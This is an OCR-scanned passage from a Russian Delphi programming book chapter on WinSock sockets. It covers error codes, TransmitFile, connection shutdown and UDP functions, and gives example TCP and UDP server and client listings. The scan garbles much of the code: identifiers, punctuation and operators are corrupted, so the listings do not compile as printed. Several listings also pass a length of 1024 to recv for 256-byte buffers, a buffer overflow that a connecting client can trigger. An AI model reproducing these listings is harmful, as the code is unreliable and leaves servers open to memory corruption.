160 Глава 4. Сетевые приложения • WSAENOTCONN — соединение не установлено. Или вы забыли установить соедине- ние с сервером, или оно уже было прервано; • WSAECONNABORTED — соединение было прервано, или вышло время ожидания, или произошла другая ошибка; • WSAEINTR — блокирующая операция была прервана функцией WSACancel Bl ocking- Call; • WSAEINPROGRESS — выполняется операция в блокирующем режиме. Вы уже за- пустили на выполнение какую-то функцию и нужно дождаться завершения ее работы; • WSAENETRESET — удаленный компьютер прервал соединение, необходимо закрыть сокет; • WSAENOTSOCK — указанный дескриптор не является сокетом; • WSAEOPNOTSUPP — указан флаг MSG_OOB, но сокет настроен не в режиме потока (SOCK STREAM), или не поддерживается внеочередная передача данных, или со- кет однонаправленный и может только отправлять данные; • WSAESHUTDOWN — сокет закрыт. Возможно, что была вызвана функция shutdown; • WSAEWOULDBLOCK — сокет помечен как неблокирующий, а запрошенная операция будет заблокирована; • WSAEMSGSIZE — сокет настроен как ориентированный на сообщения (например, протокол UDP), а размер пакета больше возможного. Только при использова- нии соединения TCP можно отправлять данные больше возможного пакета, потому что здесь разбиение происходит автоматически; • WSAEINVAL — сокет не был привязан функцией bind, или указан неизвестный флаг, или указан флаг MSG_OOB для сокета с включенной опцией SO OOBINLINE; • WSAECONNABORTED — виртуальное соединение было прервано из-за превышения времени ожидания или другой ошибки; • WSAECONNRESET — виртуальное соединение было закрыто. Для сокетов UDP уда- ленный хост не распознал предыдущую посылку и ответил сообщением «Port Unreachable» (порт недосягаем). Приложение должно закрыть сокет. • WSAETIMEDOUT — время ожидания ответа вышло. Есть еще одна интересная сетевая функция, которая появилась в WinSock 2, — TransmitFile. Она сразу отправляет целый файл по сети. Если все рассмотренные функции (без префикса WSA) относились к сетевой библиотеке и существуют не только в Windows, но и в системах Unix, то этой функции на других платфор- мах может не существовать. Функция Transmi tFile отправляет файл по сети. Это происходит достаточно бы- стро, потому что отправка идет в самой библиотеке в режиме «ядра». Вам не надо заботится о последовательном чтении и проверять количество отправленных дан- ных, потому что это гарантируется библиотекой WinSock 2. Функция Transmi tFile описывается следующим образом: function TransmitFi1е( hSocket: TSocket;
4J. Функции приема и передачи данных 161 hFile: THandle: nNumberOfBytesToWrite: DWORD; nNumberOfBytesPerSend: DWORD; IpOverlapped; POverlapped; 1pTransmi tBuffers; PTransmi tF11 eBuffers; dwFlags. DWORD ); BOOL; stdcall: Рассмотрим ее параметры: • hSocket — сокет, через который нужно отправить данные; • hFile — указатель на открытый файл, данные которого надо отправить; • nNumberOfBytesToWrite — количество байтов из файла, которые надо отправить. Если указать 0, то будет отправлен весь файл; • nNumberOfBytesPerSend — размер пакета для отправки Если указать 1024, то дан- ные будут отправляться пакетами по 1024 байта данных. Установив 0, будет использовано значение по умолчанию; • IpOverlapped — применяется при перекрестном вводе-выводе; • IpTransmitBuffers — содержит данные, которые надо отправить до и после от- правки файла. По этим данным вы можете на принимающей стороне опреде- лить, что началась или закончилась передача данных. • dwFl ags — флаги. Здесь можно указать следующие значения: О TF_DISCONNECT — закрыть сокет после передачи данных; О TF_REUSE_SOCKET — подготовить сокет для повторного использования; О TF_WRITE_BEHIND — разрешается завершить работу, не дожидаясь подтверж- дения о получении данных со стороны клиента. Параметр IpTransmitBuffers имеет тип структуры следующего вида: _TRANSMIT_FILE_BUFFERS = record Head: Pointer: HeadLength: DWORD; Tail: Pointer; Tail Length: DWORD; end; TTnansmitFileBuffers = _TRANSMIT_FILE_BUFFERS; Как и для других структур, здесь есть свой псевдоним TTransmitFileBuffers, по которому и следует обращаться к структуре. У структуры имеются такие пара- метры: • Head — указатель на буфер, содержащий данные, которые надо послать клиен- ту до начала отправки файла; • HeadLength — размер буфера head; • Tail — указатель на буфер, содержащий данные, которые надо послать клиен- ту после завершения отправки файла; • Tail Length — размер буфера Tail. 6 Зак 308
162 Глава 4, Сетевые приложения Мы закончили рассмотрение функций приема/передачи данных и обменялись ими. По завершении работы с сетью мы должны корректно завершить работу с се- тевой библиотекой. 4.8. Завершение соединения Для завершения сеанса сначала необходимо проинформировать партнера, с кото- рым происходило соединение, о завершении передачи данных. Для этого исполь- зуется функция shutdown, описываемая таким образом: function shutdown( s: TSocket: how: Integer ): Integer: stdcall: Первый параметр — это сокет, соединение которого необходимо закрыть. Во вто- ром параметре указываются флаги, определяющие завершение. Можно исполь- зовать одно из следующих значений: • SD RECEIVE — запрещение любых функций приема данных. На протоколы ниж- него уровня этот параметр не действует. Если используется потоковый прото- кол (например, TCP) и в очереди есть данные, ожидающие чтение функцией recv, или они пришли позже, то соединение сбрасывается. Если используется протокол UDP, то сообщения продолжают поступать; • SD SEND — запрещаются все функции отправки данных, и дальнейшая передача становится невозможной; • SD_BOTH — запрещаются прием и отправка данных. Даже при завершении работы сокета могут происходить следующие ошибки: • WSANOTINITIALISED — сначала необходимо вызвать функцию WSASturtup, а потом создавать сокет; • WSAENETDOWN — связь нарушена, возможные причины — отошел кабель или про- изошло отключение от Интернета; • WSAENOTCONN — соединение не установлено. Или вы забыли установить соедине- ние с сервером, или оно уже было прервано; • WSAEINVAL — параметр how имеет недопустимое значение; • WSAEINPROGRESS — выполняется операция в блокирующем режиме. Вы уже за- пустили на выполнение какую-то функцию и нужно дождаться завершения се работы; • WSAENOTSOCK — указанный дескриптор не является сокетом. После того как вы оповестили партнера о завершении работы, можно закрывать сокет. Для этого используется функция closesocket, которая описывается так: function closesocket( s: TSocket ): Integer: stdcall;
4.9. Принцип работы протоколов без установки соединения 163 Указанный в качестве единственного параметра сокет будет закрыт. Если вы по- пытаетесь использовать его в какой-нибудь другой функции, то получите ошиб- ку WSAENOTSOCK — дескриптор не является сокетом. Любые пакеты, ожидающие от- правки, прерываются или отменяются. Возможны следующие ошибки при закрытии сокета: • WSANOTINITIALISED — сначала необходимо вызвать функцию WSASturtup, а потом создавать сокет: • WSAENETDOWN — связь нарушена, возможные причины — отошел кабель пли про- изошло отключение от Интернета; • WSAEINPROGRESS — выполняется операция в блокирующем режиме. Вы уже за- пустили на выполнение какую-то функцию и нужно дождаться завершения ее работы; • WSAEINTR — функцией WSACancelBlockingCall была прервана блокирующая опе- рация; • WSAENOTSOCK — указанный дескриптор не является сокетом. Чаще всего программисты опускают вызов функции shutdown, а сразу же вызыва- ют closesocket. Это не очень хорошо, но и не слишком критично Я сам сразу же закрываю сокет без информирования. 4.9. Принцип работы протоколов без установки соединения Все описанное в предыдущих разделах относится к протоколам с установкой со- единения между клиентом и сервером (протокол TCP), ио существуют протоко- лы без установки соединения (например, UDP). Там не нужны функции connect, и прием/передача данных происходят немного по-другому. Я специально не за- трагивал эту тему, чтобы вы не запутались в функциях и их назначениях. При работе с протоколами, не требующими соединения на сервере, достаточно вызвать функции socket и bind, чтобы связать сокет с портом и адресом. При соз- дании сокета в качестве второго параметра (тип спецификации) указывается флаг SOCK_DGRAM. В третьем параметре устанавливается флаг IPPROTO UDP, что соответ- ствует UDP, или другой флаг протокола, работающего без установки соединения. После этого нельзя вызывать функции listen пли accept, потому что сервер полу- чает данные от клиента без установки соединения. Вместо этого нужно просто ожидать прихода данных с помощью функции reevfrom, которая описывается сле- дующим образом: function recvfrom( s: TSocket: var Buf; len: Integer: flags: Integer: var from: TSockAddr:
164 Глава 4. Сетевые приложения var fromlen: Integer ): Integer; stdcall; Первые четыре параметра такие же, как и у функции recv. Параметр from указыва- ет на структуру SockAddr, в ней после выполнения функции будет храниться IP-адрес компьютера, с которого пришли данные. В параметре fromlen заносится размер структуры, указанной в параметре from. Во второй версии WinSock появилась функция WSARecvFrom, которая похожа на WSA- Recv, только добавлены параметры recv и fromlen. Функция описывается следую- щим образом: function WSARecvFrom( s; TSocket; IpBuffers: LPWSABUF; dwBufferCount ; DWORD; var IpNumberOfBytesRecvd: DWORD; var IpFlags: DWORD; IpFrom: PSockAddr; IpFromlen: Plnteger; IpOverlapped; LPWSAOVERLAPPED; 1 pCompletionRoutine; LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall; Во время приема данных могут возникнуть следующие ошибки: • WSANOTINITIALISED — сначала необходимо вызвать функцию WSASturtup, а потом создавать сокет; • WSAENETDOWN — связь нарушена, возможные причины — отошел кабель или про- изошло отключение от Интернета; • WSAEFAULT — параметры buf или from не входят в адресное пространство, или па- раметр fromlen слишком маленький для сохранения адреса; • WSAEINTR — функцией WSACancelBlockingCall была прервана блокирующая опе- рация; • WSAEINPROGRESS выполняется операция в блокирующем режиме. Вы уже за- пустили на выполнение какую-то функцию и нужно дождаться завершения ее работы; • WSAEINVAL — указан неизвестный флаг или флаг MSG_OOB для сокета с включен- ной опцией SO_OOBINLINE; • WSAENOTSOCK — указанный дескриптор не является сокетом; • WSAEWOULDBLOCK — сокет помечен как неблокирующий, а запрошенная операция будет заблокирована; • WSAEMSGSIZE — сообщение слишком большое для помещения в буфер и будет урезано; • WSAETIMEDOUT — время ожидания ответа вышло; • WSAECONNRESET — виртуальное соединение было закрыто. Для сокетов UDP уда- ленный хост не распознал предыдущую посылку и ответил сообщением «Port Unreachable» (порт недосягаем). Приложение должно закрыть сокет.
4.9. Принцип работы протоколов без установки соединения 165 С точки зрения клиента все тоже очень просто. Достаточно только создать со- кет — функция connect уже не нужна и можно напрямую направлять данные. Но кому передавать, если нет соединения с сервером? Для передачи данных по сети используется функция sendto, в которой указывается адрес получателя. Вот как она описывается: function sendto( s: TSocket; var Buf; len; Integer; flags: Integer; var addrto: TSockAddr; tolen: Integer ). Integer; stdcall; Первые четыре параметра соответствуют тем, что мы рассматривали в функции send. Параметр addrto — это структура типа SockAddr В ней содержатся адрес и порт компьютера, которому нужно передать параметры Так как в нашем случае нет соединения между клиентом и сервером, то эта информация должна указываться прямо в функции передачи данных. Последний параметр tplen — это размер струк- туры to. Начиная со второй версии мы можем пользоваться функцией WSASendTo У нее па- раметры такие же, как и у WSASend, только добавлены два новых — 1рТо и iTolen, хранящие структуру с адресом получателя и ее размер Функция WSASendTo опи- сывается следующим образом; function WSASendTo( s: TSocket: IpBuffers: LPWSABUF; dwBufferCount: DWORD; var IpNumberOfBytesSent: DWORD; dwFlag : DWORD; IpTo: PSockAddr; ITolen: Integer; IpOverlapped: LPWSAOVERLAPPED; 1 pCompleti onRoutlne: LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall; Возможны следующие ошибки во время отправки данных: • WSANOTINITIAllSED — сначала необходимо вызвать функцию WSASturtup, а потом создавать сокет; • WSAENETDOWN — связь нарушена, возможные причины — отошел кабель или про- изошло отключение от Интернета; • WSAEFAULT — параметры buf или to не входят в адресное пространство, или па- раметр tol еп слишком маленький для сохранения адреса; • WSAEINTR — функцией WSACancelBlockingCall была прервана блокирующая опе- рация; • WSAEINPROGRESS — выполняется операция в блокирующем режиме. Вы уже за- пустили на выполнение какую-то функцию и нужно дождаться завершения ее работы;
166 Глава 4. Сетевые приложения • WSAEINVAL — указан неизвестный флаг или флаг MSG OOB для сокета с включен- ной опцией SO_OOBINLINE; • WSAENOBUFS — нет доступных буферов; • WSAENOTSOCK — указанный дескриптор не является сокетом; • WSAEWOULDBLOCK — сокет помечен как неблокирующий, а запрошенная операция будет заблокирована; • WSAEMSGSIZE — сообщение слишком большое для помещения в буфер и будет урезано; • WSAETIMEDOUT — время ожидания ответа вышло; • WSAECONNRESET — виртуальное соединение было закрыто. Для сокетов UDP уда- ленный хост не распознал предыдущую посылку и ответил сообщением «Port Unreachable» (порт недосягаем). Приложение должно закрыть сокет; • WSAEADDRNOTAVAIL — указанный адрес не доступен с локальной машины; • WSAEAFNOSUPPORT — адрес в указанной системе не может быть использован с этим сокетом; • WSAEDESTADDRREQ — требуется адрес назначения; • WSAENETUNREACH — сеть не доступна с локальной машины в данный момент. Как видите, работа с протоколами, не требующими соединения, еще проще. Не надо вызывать функции прослушивания порта и соединения с сервером. Если вы разберетесь с работой протокола TCP, то работа UDP вам будет уже понятна. 4.10. Создание ТСР-сервера Мы очень подробно разобрали в теории программирование сокетов, теперь пора познакомиться с иими на практике. Давайте напишем простейшее серверное при- ложение, которое будет принимать соединения от сервера, получать данные, про- верять команду и возвращать текстовое сообщение. После написания примера мы рассмотрим, как можно протестировать наш сервер без написания клиентской части. Создание клиентской части нам предстоит рас- смотреть в главе 5. Во время создания сервера были изучены разные способы обработки ошибок. Что выберете вы, зависит от личных пристрастий и решаемой задачи, а я поста- раюсь показать разные варианты. 4.10.1. Создание сервера Создайте новое приложение. Сразу же подключите в раздел uses модуль WinSock. Мы пока будем использовать функции только первой версии библиотеки, поэто- му заголовочного файла из состава Delphi будет достаточно. Теперь поместите на форму только одну кнопку, с помощью которой будет про- исходить запуск TCP-сервера на компьютере. По нажатии этой кнопки нужно написать код из листинга 4.1.
4.10. Создание TCP-сервера 167 Листинг 4.1. Запуск ТСР-сервера procedure TForml.bStartServerClick(Sender: TObject); var wData; WSADATA; sServerLIsten, sClient; TSOCKET; localaddr. clientaddr: SockAddr_In; iSize: Integer; si; TCPClientThread; begin // Загрузка WinSock if WSAStartup(MAKEWORDd.l). wData) <> 0 then begin MessageBox(0, 'He могу загрузить WinSock' 'Ошибка'. 0); exit; end; // Создание- сокета sServerListen : = socket(AFJNET, SOCK_STREAM. IPPROTOJP); if sServerListen = INVALID-SOCKET then begin MessageBox(0, 'Ошибка создания сокета'. 'Ошибка', 0); exit; end; 7/ Заполнение структуры адреса localaddr.sin_addr.s_addr : = htonl(INADDR_ANY); localaddr.sin_family ;= AFJNET; localaddr.sin_port : = htons(5050); // Связывание сокета с локальным адресом if bind(sServerListen, localaddr. sizeof(localaddr)) = SOCKET_ERROR then begin TestWinSockError('Bind'); exit; end; // Прослушивание if TestFuncError(listen(sServerListen, 4), 'Listen') then exit; MessageBox(0, 'Сервер запущен' 'Внимание!!!' 0): while (true) do begin iSize := sizeof(clientaddr); // Прием нового соединения sClient :=» accept(sServerListen. Oclientaddr, @iSize); if sClient = INVALID-SOCKET then begin продолжение &
168 Глава 4. Сетевые приложения Листинг 4.1 (продолжение) TestW1nSockError('accept'); break; end; // Соединение принято, создаем поток si ;= TCPCllentThread.Create(true); si.Sock ;= sCllent; si.Resume; end; closesocket(sServerLlsten): end; В самом начале мы загружаем сетевую библиотеку Windows с помощью функции WSAStartup. Нам достаточно будет версии 1.1, поэтому в качестве первого парамет- ра передается значение MAKEWORD(l.l). Если не удается загрузить библиотеку, то выдаем на экран соответствующее сообщение. Теперь мы должны создать сокет. Для этого вызывается функция socket, а резуль- тат сохраняется в переменной sServerListen. Если результат равен SOCKEI_ERROR, то произошла ошибка, и мы просто выводим соответствующее сообщение, а в ре- альном приложении я рекомендую получить код ошибки и проанализировать ее. Таким образом, пользователь сможет легко устранить причину ошибки и переза- пустить сервер. В приложениях я всегда пишу универсальную функцию, которая проверяет ре- зультат со всеми основными ошибками и выводит соответствующее сообщение. Мы увидим использование такой функции позже. Теперь заполняем структуру SockAddr_In. Здесь важно правильно указать поле sin_port. В качестве порта будем использовать 5050, но если просто присвоить это число параметру sin_port, то результат может оказаться не таким, как мы предпо- лагаем. Это связано с тем, что при передаче в сети (маршрутизаторами, сервера- ми) используется другой порядок байтов, отличный от принятого в процессорах Intel. Число надо преобразовывать с помощью функции htons, которая описыва- ется следующим образом; function htons( hostshort; u_short ); u_short; stdcall; В качестве единственного параметра передается число, в котором надо изменить порядок байтов на принятый в сетях TCP/IP. Функция возвращает в качестве результата преобразованное число. Теперь связываем структуру SockAddr_In с локальным адресом при помощи функ- ции bind. В нашем случае полученная ошибка анализируется с использованием процедуры TestWinSockError. В универсальной процедуре проверяются все коды сетевых ошибок (листинг 4.2). Листинг 4.2. Проверка ошибок procedure TestW1nSockError(S;String); var
4.10. Создание TCP-сервера 169 iErr:Integer, sFullErr:String: begin sFullErr := 'Неизвестная ошибка'. lErr := WSAGetLastErrorO; case lErr of WSANOTINITIALISED: sFullErr := 'Нужно сначала вызвать функцию WSASturtup, а потом создавать сокет': WSAENETDOWN: sFullErr : = 'Связь нарушена, возможные причины - отошел кабель или отключились от Интернета' WSAEADDRINUSE: sFullErr := 'Указанный адрес уже используется': WSAEFAULT- sFullErr : = 'Параметры паше и namelen не соответствуют выбранной адресации. Параметр namelen может быть меньше необходимого значения, а пате содержать некорректные данные': WSAEINPROGRESS: sFullErr := 'Выполняется операция в блокирующем режиме Вы уже запустили на выполнение какую-то функцию и нужно дождаться завершения ее работы'; WSAEINVAL: sFullErr := 'Сокет уже связан с адресом': WSAENOBUFS: sFullErr := 'Недостаточно буферов, слишком много соединений*: WSAENOTSOCK: sFullErr := 'Неверный дескриптор сокета': WSAEISCONN: sFullErr := 'Сокет уже подключен': WSAEMFILE: sFullErr := 'Нет больше доступных дескрипторов' // Проверка остальных сетевых ошибок end: MessageBox(0. PChar('Ошибка в функции '+S+' '+sFul1 Err) 'Ошибка' 0): end: Процедуру TestWInSockError можно было вызвать и после ошибки выполнения функции socket, но я не стал этого делать, чтобы показать р'азные методы обра- ботки ошибок. Чуть позже мы увидим еще один способ. Давайте отвлечемся от создания сервера и разберем процедуру TestWInSockError. Здесь только один строковый параметр, через который нужно передавать назва- ние последней выполненной сетевой функции, где произошла ошибка. Сначала мы присваиваем переменной sFullErr сообщение «Неизвестная ошиб- ка». Если в дальнейшем не будет найден соответствующий код ошибки, то в сооб- щении будет именно этот текст. После этого получаем код ошибки с помощью функции WSAGetLastError. С приме- нением оператора case сравниваем результат со всеми известными нам кодами оши- бок. В самом конце функции отображаем на экране сообщение с описанием назва- ния функции, в которой возникла ошибка, и текстовым описанием кода ошибки. Снова возвращаемся к созданию сервера После удачного выполнения функции bind вызывается функция listen. Ее вызов довольно интересен: if TestFuncError(listen(sServerListen, 4): 'Listen') then exit:
170 Глава 4, Сетевые приложения В вызове используется функция TestFuncError, в первом параметре которой пере- дается результат выполнения функции listen, а во втором — строковое название функции. Функция TestFuncError (листинг 4.3) проверяет результат работы сете- вой функции, переданный в качестве первого параметра, с константой SOCKET- ERROR. Если произошла ошибка, то выводится текстовое описание ошибки с помо- щью уже знакомой нам TestWinSodkError и возвращается результат true. f Листинг 4.3. Проверка результата выполнения функции function TestFuncErrordErr;Integer; FuncName;String): Boolean; begin Result ;= false; if iErr = SOCKET_ERROR then begin TestWinSockError(FuncName); Result := true; end; end; Таким образом, мы рассмотрели три способа обработки ошибок. Какой из них выбрать, решать вам. Все зависит от ваших предпочтений. Мне нравится третий, но в примерах данной книги я буду использовать первый вариант (простое срав- нение с константой SOCKET_ERROR), чтобы сэкономить место и не усложнять чита- бельность кода. После начала прослушивания можно запускать бесконечный цикл, в котором бу- дем принимать входящие соединения. Для этого применяется функция accept, ожидающая соединения со стороны клиента. Эта функция блокирует выполне- ние программы, пока к указанному порту (в данном случае 5050) не подключится клиентская программа. Это главный недостаток нашего приложения, потому что после этого окно не будет откликаться на сообщения пользователя. Конечно же, вызов этой функции можно было бы убрать в отдельный поток, но это будет не совсем верно, и чуть позже мы увидим более хороший вариант. А пока смиримся с таким недостатком блокировки. Как только клиент подключился к серверу, функция accept возвращает нам ука- затель на новый сокет, через который можно работать с клиентом. Вы обязатель- но должны проверить результат на действительность сокета, иначе последующая работа может привести к сбоям. Если значение для сокета равно нулю, го он не действительный, и это вызовет ошибку. Если при соединении ошибок нет, то создадим новый поток, в котором будет про- исходить работа с клиентом. Создание потока осуществляется таким образом; si ;= TCPClientThread.Create(true); si.Sock := sClient: si.Resume; В данном случае задан новый экземпляр объекта потока ТСРС1 lentThread (который мы рассмотрим позже) в приостановленном состоянии. Об этом говорит значе- ние параметра true. После этого записываем в свойство потока Sock значение со- кета клиента, подключенного к нам, и запускаем поток на выполнение Методом Resume.
4.10. Создание TCP-сервера 171 4.10.2 . Получение и передача сетевых данных Чтобы протестировать пример, посмотрим, как можно принимать и передавать данные. Мы уже знаем, что это будет происходить в отдельном потоке с именем CPCHentThread. Давайте создадим этот поток и рассмотрим его содержимое Для этого выполните команду меню File ► New ► Other, и перед вами появится диалого- вое окно выбора типа создаваемого файла (рис. 4.1). Рис. 4.1. Выбор типа создаваемого файла Перейдите на вкладку New и выберите значок Thread Object. Нажмите кнопку ОК Появится диалоговое окно ввода имени класса (рис. 4.2). Рис. 4.2. Ввод имени класса В поле Class Name нужно ввести имя TCPCIientThread. Нажмите кнопку OK Delphi создаст шаблон для будущего потока и откроет на экране соответствующий мо- дуль. В листинге 4.4 приведен полный код модуля потока. Допишите недостающие ча- сти в вашем модуле, и программу можно будет считать завершенной.
172 Глава 4. Сетевые приложения Листинг 4.4. Поток для получения и отправки данных unit ТСРС11entUnit; Interface uses Classes, WinSock, Windows; type TCPClientThread = class(TThread) private {Private declarations} protected procedure Execute; override; public Sock; TSOCKET; end; implementation {TCPClientThread} procedure TCPC1ientThread.Execute; var sRecvBuff, sSendBuff: array [0..255] of char; ret: Integer; s: String; begin while(true) do begin ret ;= recv(sock, sRecvBuff, 1024, 0); if (ret = 0) then Continue else if (ret = SOCKET_ERROR) then begin MessageBox(0, 'Ошибка получения данных'. 'Внимание!!!'. 0); break; end; s := sRecvBuff; if s[Length(s)] = #10 then s ;= Copy(s, 1, Length(s)-2); if so'get' then exit; sSendBuff ;= 'Command get OK'; ret ;= send(sock, sSendBuff, sizeof(sSendBuff), 0); if (ret = SOCKET_ERROR) then
4.10. Создание TCP-сервера 173 begin MessageBoxCO, Ошибка передачи данных' ’Внимание!!!' 0); break; end; end; CloseSocket(sock); end; end. Рассмотрим, что происходит в модуле потока. Когда Delphi создал шаблон, то в разделе uses был только один модуль Classes. Так как будут использоваться се- тевые функции, нам нужно подключить модуль WinSock. Помимо этого понадо- бятся функции Windows API для отображения окна сообщения об ошибке (фун- кция MessageBox), поэтому подключаем модуль Windows. В объявлении объекта потока добавляем раздел public с одной переменной Sock типа TSOCKET. Все остальные изменения касаются метода Execute, который автоматически за- пускается при старте потока. Для чтения данных вызывается функция recv. Она блокирует выполнение программы в ожидании данных от клиента. Это не очень хорошо, потому что клиент может вообще никогда не прислать нам данные (на- пример, прервалось соединение или на клиенте произошла ошибка) и программа просто зависнет. Именно поэтому я всегда при программировании в блокирую- щем режиме убираю обработку клиента в отдельный поток. В нашей программе основная форма блокируется, потому что после запуска сер- вера стартует бесконечный цикл обработки принятых клиентов. Это тоже не очень удобно, потому что окно не будет откликаться. Можно было бы вынестй эту опе- рацию в отдельный поток, но я не стал усложнять задачу, потому что немного позже мы познакомимся с неблокирующими сокетами. Если с клиента пришла текстовая команда «get», то отвечаем клиенту сообщени- ем «Command get ОК» с помощью функции send. По завершении работы цикла закрываем сокет функцией Cl oseSocket. ПРИМЕЧАНИЕ ----------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch04\TCPServer. 4.10.3 . Тестирование сервера Как теперь протестировать пример без создания клиентской части? Для этого нам понадобится любой Telnet-клиент. Сначала мы должны запустить сервер, а по- том с помощью Telnet подключиться на порт 5050 и в течение 2 секунд после со- единения напечатать и отправить сообщение «get» Диалоговое окно Telnet-кли- ента программы CyD NET Utils (www.cydsoft.com), в котором я протестировал созданный нами сервер, показано на рис. 4.3.
174 Глава 4, Сетевые приложения Рис. 4.3. Тест соединения с сервером 4.11. Создание ТСР-клиента / Теперь переходим к созданию клиентской части. Для этого создадим новый про- ект и поместим на форму строку ввода (для ввода адреса сервера) и кнопку для соединения с сервером и отправки ему команд. По нажатии этой кнопки необхо- димо написать код из листинга 4.5. Листинг 4.5. Соединение с сервером, прием и передача данных procedure TTCPClientForm.btSendClick(Sender: TObject); var wData; WSADATA; sServerListen: TSOCKET; server_addr; sockaddrjn; iRet: Integer; sRecvBuff: array [0..255] of char; begin // Загрузка WinSock if WSAStartup(MAKEWORD(1.1). wData) <> 0 then begin MessageBox(0, 'He могу загрузить WinSock'. 'Ошибка', 0); exit; end; // Создание сокета sServerListen := socket(AF_INET, SOCK_STREAM, IPPROTOJP); if sServerListen = INVALID_SOCKET then begin MessageBox(0 'Ошибка создания сокета', 'Ошибка', 0); exit; end;
4.11. Создание TCP-клиента 175 // Заполнение структуры адреса server_addr.sin_addr.s_addr := htonl(INADDR_ANY): server_addr.sin_family := AF_INET; server_addr.sin_port := htons(5050); server_addr-.sin_addr := LookupName(edServer .Text); // Соединение с сервером if (connect(sServerListen, server_addr, sizeof(server_addr)) = SOCKET_ERROR) then begin TestWi nSockError('Send'); exit; end; // Отправка данных sRecvBuff ;= 'get'; iRet ;= send(sServerListen. sRecvBuff. 3, 0); if (iRet = SOCKET_ERROR) then begin MessageBoxCO, 'Ошибка передачи данных'. 'Внимание!!!' 0); exit- end. // Получение данных iRet ;= recv(sServerl_isten. sRecvBuff. 1024, 0); if (iRet = SOCKET_ERROR) then begin MessageBox(0, 'Ошибка получения данных'. 'Внимание!!!'. 0); exit; end; edServer.Text : = sRecvBuff; // Отключение от сервера CloseSocket(sServerListen); end; Начало кода клиентской программы совпадает с кодом сервера. Мы также загру- жаем сетевую библиотеку Windows и создаем сокет. Разница начинается с запол- нения структуры адреса, потому что теперь недостаточно указать только порт. Необходимо еще заполнить поле sin_addr, в котором указывается адрес сервера. В данном примере это делается следующей строкой: server_addr.sin_addr := LookupName(edServer.Text); Функция LookupName определяет, указан ли в качестве адреса IP, в этом случае он переводится в нужный формат с помощью функции gethostbyname. Если указано символьное имя, то его перевод в IP-адрес осуществляется той же самой функци- ей. Текст функции LookupName приведен в листинге 4.6.
176 Глава 4. Сетевые приложения Листинг 4.6. Определение IP-адреса сервера function LookupNameCname:String): TInAddr; var HostEnt: PHostEnt: InAddr: TInAddr; begin if name[4>'. ’ then InAddr.s_addr : = 1net_addr(PChar(name)) else begin HostEnt :=* gethostbyname(PChar(name)); FillChar(InAddr. SizeOf(InAddr). 0); if HostEnt <> nil then begin with InAddr. HostEnt" do begin S_un_b.s_bl := h_addr^[0]; S_un_b.s_b2 := h_addr"[l]. S_un_b.s_b3 := h_addr"[2]; S_un_b.s_b4 ;= h_addr"[3]i end; end end; Result := InAddr; end; После определения адреса сервера сразу же вызывается функция connect для со- единения с сервером. Если соединение произошло удачно, то можно обменивать- ся данными с использованием уже знакомых нам функций send и recv. Напоследок хочу сделать одно замечание. Когда используете функцию send, во втором параметре нужно указывать буфер с данными, которые надо передать по сети. Используйте в этом параметре только тип PChar. Если указать строку String, то сервер увидит не совсем то, что вы отправляли, а точнее сказать, может уви- деть бесполезный «мусор». ПРИМЕЧАНИЕ ---------------------------------------------------------—------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch04\TCPCIient. 4.12. Пример использования UDP-протокола Теперь на практике посмотрим, как создавать сетевые приложения, работающие по протоколу UDP. В листинге 4 7 приведен код запуска UDP-сервера, Листинг 4.7. Код UDP-сервера procedure TForml.bStartServerC11ck(Sender: TObject); var wData: WSADATA; '
4.12. Пример использования UDP-протокола 177 sServerListen: TSOCKET: Tocaladdr, clientaddr: sockaddrjn; sRecvStr: array [0..255] of char; iSize: Integer; begl n // Загрузка WinSock if WSAStartup(MAKEWORD(1,1). wData) <> 0 then begin MessageBox(0, 'He могу загрузить WinSock', 'Ошибка', 0); exit; end; // Создание сокета sServerListen : = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if sServerListen = INVALID_SOCKET then begin MessageBox(0, 'Ошибка создания сокета'. 'Ошибка', 0); exit; end; // Заполнение структуры адреса localaddr.sin_addr.s_addr : = htonl(INADDR_ANY); localaddr.sin_family := AF_INET; localaddr.sin_port := htons(5050); // Связывание сокета с локальным адресом if bind(sServerListen, localaddr sizeof(localaddr)) = SOCKET_ERROR then begin TestWinSockError('Bind'); exit; end; // Прослушивание iSize ;= sizeof(clientaddr); if recvfrom(sServerListen, sRecvStr, 255, 0, clientaddr, iSize) <> SOCKET_ERROR then Label 1.Caption:=sRecvStr; closesocket(sServerListen); end; При создании сокета в качестве второго параметра (тип спецификации) указыва- ется флаг SOCK_DGRAM. В третьем параметре используется флаг IPPROTOJJDP, что со- ответствует UDP. Сокет связывается с локальным адресом и портом 5050, после чего сервер готов к использованию. Обратите внимание, что если запустить наши TCP-сервер и UDP-сервер одно- временно, ошибок не будет, хотя Программы используют один и тот же порт. Мы говорили, что только одна программа может открыть определенный порт, и если он уже открыт, то возникнет ошибка. В данном случае ошибок не будет, потому что порты UDP не пересекаются с TCP.
178 Глава 4. Сетевые приложения Далее вызывается функция recvfrom. Здесь должны быть корректно заполнены первый параметр (созданный заранее сокет) и последний параметр (размер струк- туры типа SockAddr_In). Во втором параметре необходим достаточный буфер для приема сообщения, в третьем параметре — корректный размер буфера, а в пред- последнем параметре задается указатель на структуру типа SockAddr_In для полу- чения информации о компьютере, с которого пришло сообщение. ПРИМЕЧАНИЕ -------------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch04\UDPServer. Теперь рассмотрим, как работает клиентское приложение. В листинге 4.8 приве- ден код программы клиента. Листинг 4.8. Код UDP-клиента procedure TForml bSendDataClick(Sender: TObject); var wData; WSADATA; sClientListen; TSOCKET; server_addr: sockaddr_in; sRecvStr: array [0..255] of char; begin // Загрузка WinSock if WSAStartup(MAKEWORDU.l), wData) <> 0 then begin MessageBox(0, ‘He могу загрузить WinSock’, ‘Ошибка’, 0); exit; end: // Создание сокета sClientListen : = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if sClientListen = INVALID_SOCKET then begin MessageBox(0, 'Ошибка создания сокета'. 'Ошибка', 0); exit; end; // Заполнение структуры адреса server_addr.sin_addr.s_addr : = htonl(INADDR_ANY); server_addr.sin_family : = AF_INET; server_addr.sin_port ;= htons(5050); server_addr.sin_addr : = LookupName(edServer.Text); sRecvStr;='Привет, это тест'; SendTo(sClientListen, sRecvStr, 16, 0, server_addr, SizeOf(server_addr)); closesocket(sCl1entLi sten); end;
